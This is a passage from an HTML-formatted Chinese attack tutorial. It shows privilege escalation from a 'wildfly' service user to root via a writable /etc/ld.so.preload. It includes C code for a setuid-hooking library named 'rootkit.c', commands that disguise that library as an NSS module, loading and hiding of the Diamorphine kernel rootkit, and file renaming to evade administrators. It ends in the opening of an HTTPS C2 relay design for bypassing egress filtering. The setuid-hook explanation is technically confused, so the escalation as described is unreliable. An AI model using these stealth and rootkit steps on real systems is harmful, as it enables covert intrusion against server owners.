bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">[ 0x03 ] 提权 — 从 WILDFLY 到 ROOT</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">wildfly</span></code><span leaf="">用户（uid 1001，非 root）身份获得 RCE 是个起点，但不足以加载 LKM。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">insmod</span></code><span leaf="">需要 root 或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CAP_SYS_MODULE</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">先做基本侦察：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">id                  </span><span style="color: rgb(106, 115, 125);"><span leaf=""># uid=1001(wildfly)</span><br/></span><span leaf="">uname -r            </span><span style="color: rgb(106, 115, 125);"><span leaf=""># x.y.z-generic</span><br/></span><span leaf="">cat /proc/version   </span><span style="color: rgb(106, 115, 125);"><span leaf=""># Linux version x.y.z... gcc a.b.c</span><br/></span><span leaf="">ls /lib/modules/    </span><span style="color: rgb(106, 115, 125);"><span leaf=""># 确认 headers 可用</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">内核版本较新，如果有正确的 capability 就支持 LKM 加载。但我没有。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">运气在于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">wildfly</span></code><span leaf="">组可写。这是包管理器的配置错误——某个包在安装时给文件设置了错误的权限，没人注意到。通常确实没人注意到这种事。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个攻击向量的完整 trick 见：<a href="https://pwnd.blog/tricks/ld-preload-privesc" target="_blank">https://pwnd.blog/tricks/ld-preload-privesc</a></span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">ls -la /etc/ld.so.preload</span><span style="color: rgb(106, 115, 125);"><span leaf=""># -rw-rw-r-- 1 root wildfly 0 Jan 01 2023 /etc/ld.so.preload</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">有了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">的写权限，通向 root 的路就很直接了。写一个 hook </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">setuid()</span></code><span leaf="">的 library：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">// rootkit.c — hook setuid() 用于提权</span><br/></span><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">define</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">_GNU_SOURCE</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&lt;dlfcn.h&gt;</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&lt;unistd.h&gt;</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&lt;sys/syscall.h&gt;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">setuid</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">uid_t</span></span><span leaf=""> uid) {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (uid == </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">) {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 通过直接 syscall 执行真正的 setuid，绕过 libc</span><br/></span><span style="color: rgb(179, 29, 40);"><span leaf="">syscall</span></span><span leaf="">(__NR_setuid, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> ((</span><span style="color: rgb(0, 92, 197);"><span leaf="">int</span></span><span leaf=""> (*)(</span><span style="color: rgb(0, 92, 197);"><span leaf="">uid_t</span></span><span leaf="">))</span><span style="color: rgb(0, 92, 197);"><span leaf="">dlsym</span></span><span leaf="">(RTLD_NEXT, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;setuid&#34;</span></span><span leaf="">))(uid);</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这段代码的作用：library 替换了 libc 中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">setuid</span></code><span leaf="">函数。当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">su</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sudo</span></code><span leaf="">运行时，它会加载这个 library（因为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld.so.preload</span></code><span leaf="">是系统级的）。当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">su</span></code><span leaf="">在验证密码后调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">setuid(0)</span></code><span leaf="">时，hook 拦截了这次调用并直接向内核发起 syscall。内核允许这次操作，因为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">su</span></code><span leaf="">是 SUID root，进程本身已经在以 root 身份运行了。library 只是确保调用能到达内核，中间没有任何 libc 的额外验证。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">编译并安装：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">gcc -shared -fPIC -o /usr/lib/x86_64-linux-gnu/libnss_files_compat.so rootkit.c</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/usr/lib/x86_64-linux-gnu/libnss_files_compat.so&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span leaf=""> /etc/ld.so.preload</span><span style="color: rgb(106, 115, 125);"><span leaf=""># 现在所有调用 setuid(0) 的二进制都变成 root</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 名字 &#34;libnss_files_compat.so&#34; 伪装为合法的 NSS module</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">名字很重要。NSS modules（Name Service Switch）是合法的 library，位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/usr/lib/x86_64-linux-gnu/</span></code><span leaf="">。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libnss_files.so.2</span></code><span leaf="">是解析 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/hosts</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/passwd</span></code><span leaf="">的默认模块。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libnss_files_compat.so</span></code><span leaf="">看起来像是这个模块的一个 &#34;compat&#34; 变体。管理员扫一眼 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls /usr/lib/x86_64-linux-gnu/</span></code><span leaf="">不会对一个叫 NSS module 名字的 library 起疑。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">有了 root，现在可以加载 Diamorphine 了：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">insmod /tmp/.d/diamorphine.ko</span><br/><span leaf="">lsmod </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""> grep diamorphine    </span><span style="color: rgb(106, 115, 125);"><span leaf=""># 空 — 模块加载即隐藏</span></span><br/><span leaf="">cat /proc/modules </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""> grep diamorphine   </span><span style="color: rgb(106, 115, 125);"><span leaf=""># 空</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然后把所有东西重命名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_</span></code><span leaf="">前缀：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">mv /tmp/.d /tmp/__rk_d</span><br/><span leaf="">mv /usr/lib/x86_64-linux-gnu/libnss_files_compat.so /usr/lib/x86_64-linux-gnu/__rk_libnss_files_compat.so</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/usr/lib/x86_64-linux-gnu/__rk_libnss_files_compat.so&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span leaf=""> /etc/ld.so.preload</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来就是见证奇迹的时刻：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">ls /tmp/ </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""> grep rk       </span><span style="color: rgb(106, 115, 125);"><span leaf=""># 空</span><br/></span><span leaf="">find / -name </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;__rk_*&#34;</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 空（diamorphine hook 了 getdents）</span><br/></span><span leaf="">cat /etc/ld.so.preload   </span><span style="color: rgb(106, 115, 125);"><span leaf=""># 显示路径但文件在 ls 中不可见</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你刚刚从地图上消失了。但这只是层级 2 和 3。还缺层级 1。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">[ 0x04 ] 层级 1 — 隐形隧道（C2 HTTPS）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第一个问题是网络。出站过滤只允许 443 和 80 端口的外出流量。4444 端口的传统反向 shell？想都别想。自己的 VPN？没有预置的基础设施。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">解决方案是一个自定义 C2，采用 relay-based 架构。不同于 operator 直接连接 target，两端都向同一个 relay 发起出站连接：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">[target </span><span style="color: rgb(111, 66, 193);"><span leaf="">.113</span></span><span leaf="">] --HTTPS--&gt; [relay SRS] &lt;--HTTPS-- [</span><span style="color: rgb(111, 66, 193);"><span leaf="">operator</span></span><span leaf="">]</span><br/><span leaf="">            outbound              outbound</span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Target 向 relay 发起出站 HTTPS 连接</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Operator 也向 relay 发起出站连接</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Relay 通过一个共享 secret（32 字符 base64）配对两端</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过 stdin/stdout piping 实现双向隧道</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Target 上没有监听端口</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">也就是说：target 从不打开任何端口。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">netstat</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span 